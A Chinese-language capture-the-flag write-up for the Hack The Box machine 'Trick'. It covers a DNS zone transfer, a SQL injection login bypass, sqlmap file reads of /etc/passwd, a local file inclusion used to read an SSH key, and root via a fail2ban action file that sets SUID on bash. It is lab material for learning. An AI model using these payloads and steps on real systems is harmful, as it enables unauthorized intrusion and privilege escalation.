概述 (Overview)
HOST: 10.10.11.166
OS: LINUX
发布时间: 2022-06-19
完成时间: 2022-06-23
机器作者: Geiseric
困难程度: EASY
机器状态: 退休
MACHINE TAGS: #DNSZoneTransfer #Fuzzing #SQLi #LFI #Fail2Ban
攻击链 (Kiillchain)
使用 Nmap 对目标服务器开放端口进行识别,通过 DNS 服务域传送漏洞得到子域名站点,在该站点发现 SQL 注入漏洞。利用文件读取发现另一子站点还存在本地脚本加载漏洞,最终使用读取到的用户ssh私钥成功登录目标服务器。
简单枚举发现存在 Fail2Ban 服务,并且用户具备重启 Fail2Ban 服务和修改该服务的规则配置文件。最后,利用该服务成功完成权限提升。
枚举(Enumeration)
初始还是使用 Nmap 对目标服务开放端口进行枚举。
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA)
| 256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)
|_ 256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: debian.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
53/tcp open domain ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid:
|_ bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open http nginx 1.14.2
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
|_http-title: Coming Soon - Start Bootstrap Theme
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.14.2
Service Info: Host: debian.localdomain; OS: Linux; CPE: cpe:/o:linux:linux_kernel
得到开放端口基本信息:4 个对外暴露端口,服务器系统为 Debian,存在 DNS 和 Web 站点。
Port 53 - DNS
浏览器打开预览下,发现就是一个静态业务没什么后端交互功能。转而查看 DNS 服务 ,简单验证后发现存在域传送漏洞。
dig axfr @10.10.11.166 trick.htb
; <<>> DiG 9.18.1-1-Debian <<>> axfr @10.10.11.166 trick.htb
; (1 server found)
;; global options: +cmd
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb. 604800 IN NS trick.htb.
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1
preprod-payroll.trick.htb. 604800 IN CNAME trick.htb.
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
;; Query time: 248 msec
;; SERVER: 10.10.11.166#53(10.10.11.166) (TCP)
;; WHEN: Thu Jun 23 12:06:58 CST 2022
;; XFR size: 6 records (messages 1, bytes 231)
随即将这几个域名加入到 hosts 文件中再次进行访问:
10.10.11.166 trick.htb preprod-payroll.trick.htb root.trick.htb
立足点(Foothold)
对 preprod-payroll
子域名网站登录表单进行简单测试,发现存在 SQL 注入漏洞。
一个简单的 SQL 查询闭合就登录了网站后台:
username='+or+''%3D'&password='+or+''%3D'
从显示是信息中能够知悉这是 admin 账号,在用户详情中改修页面 password 标签,能得到明文密码。
随后我将后台中涉及到的所有 Username 做成字典,通过 crackmapexec
尝试密码碰撞,可惜都失败了看来需要找别的路径。
在对 .trick.htb
进行子域名枚举后没有很好的进展,但观察到子域名的命名方式比较可疑。就用使用 fuff 工具对子域名进行新的枚举枚,有了新发现:preprod-marketing
加入 /etc/hosts 继续访问。
发现也是个 PHP 的站,对页面进行简单的分析暂时没找到问题。
然后这里就困扰了我很长一段时间,在 preprod-marketing
上没有找到突破口。转头继续在 preprod-payroll
站挖掘信息,在后台页面找到新的注入点,尝试使用 SqlMap 枚举下数据库权限,看看当前权限下能做什么事。
# 将数据包保存至 *.txt 文件,查看当前数据库用户
$ sqlmap -r 3.txt --dbs mysql –current-user
current user: 'remo@localhost'
# 查看当前数据库用户
$ sqlmap -r 3.txt --dbs mysql --privileges
database management system users privileges:
[*] 'remo'@'localhost' [1]:
privilege: FILE
从 SqlMap 的枚举结果中能够看到,当前具有文件操作权限,可以用于读取服务器本地文件。读取 passwd 文件:
$ sqlmap -r 3.txt --dbs mysql --file-read="/etc/passwd"
[*] /root/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_passwd (same file)
root:x:0:0:root:/root:/bin/bash ...snip... michael:x:1001:1001::/home/michael:/bin/bash
接着就是找 Web 站点路径了,用于进行写后续写 webshell 等操作。前面已知站点用的 Nginx,所以直接读默认配置文件即可。
$ sqlmap -r 3.txt --dbs mysql --file-read="/etc/nginx/sites-enabled/default"
...snip...
server_name preprod-marketing.trick.htb;
root /var/www/market;
...snip...
server_name preprod-payroll.trick.htb;
root /var/www/payroll;
...snip...
能看到两个站点在服务器上的绝对路径,尝试对 index.php
首页文件进行读取,发现 market 的 index.php 存在漏洞。简单处理了一下 GET 传参 page
的字符串,随后进行 include
函数加载外部脚本文件。
对传递的参数进行简单的处理就能进行任意文件加载,例如:
随后使用这种方式轻松读取到了 michael
用户的私钥,登录进了目标服务器。真实场景往往比这难一点,没有私钥的场景可以利用加载 nginx 日志触发 php 脚本进行反弹 shell。
权限提升(Privilege Escalation)
随后检查 sudo -l
权限列表,发现可以重启 fail2bin
服务(我说咋前面用 crackmapexec 枚举 ssh 登录的时候请求包丢失呢,往后服务器简单加固上可以考虑该服务):
User michael may run the following commands on trick: (root) NOPASSWD: /etc/init.d/fail2ban restart
Fail2ban 通过扫描日志文件(例如 /var/log/apache/error_log ),发现并禁止显示出恶意迹象的 IP 地址(例如:过多的密码失败、寻找漏洞利用等)。通常,Fail2Ban 使用更新防火墙规则的方法在指定的时间内拒绝特定的 IP 地址,在 Linux 操作系统下,Fail2Ban 是通过向 iptables 添加规则来强制实施对可疑 IP 地址的禁止。当然也可以配置任何其他任意操作(例如:发送电子邮件等)。
Fail2Ban 是什么?- https://aws.amazon.com/cn/blogs/china/open-source-tool-to-protect-ec2-instances-fail2ban/#Fail2ban 是什么?
简单了解后开始寻找相关权限提升的利用方式,最终参考:https://grumpygeekwrites.wordpress.com/2021/01/29/privilege-escalation-via-fail2ban/
检查 /etc/fail2bin
路径下的文件权限,发现当前用户的组具备 rwx
操作 action.d
文件夹的权限。该文件夹内具有不同类型的配置规则,可用于阻止 IP,同样可以用来进行权限提升。
找到里面的 iptables-multiport.conf
文件并编辑,将执行命令改为赋 bash 命令 SUDI 权限。
开始权限提升操作,保存上面文件修改并重启 fail2bin 服务,随后对 SSH 进行密码枚举扫描使 fail2bin 的规则生效。随后运行 bash -p
开启一个新的会话,就具备 root 权限了。
对 -p
参数的解释可以如下方式查看:
$ bash -c "help set"
...snip...
-p 只要真实用户 ID 和有效用户 ID 不匹配时就会被打开。
禁用对 $ENV 文件的处理以及 shell 函数的导入。关闭此选项
会导致有效 uid 和 gid 被设定为真实 uid 和 gid。
- -p: 参数的作用使 Bash 运行在特权模式下,也就是以超级用户(root)或管理员的权限运行。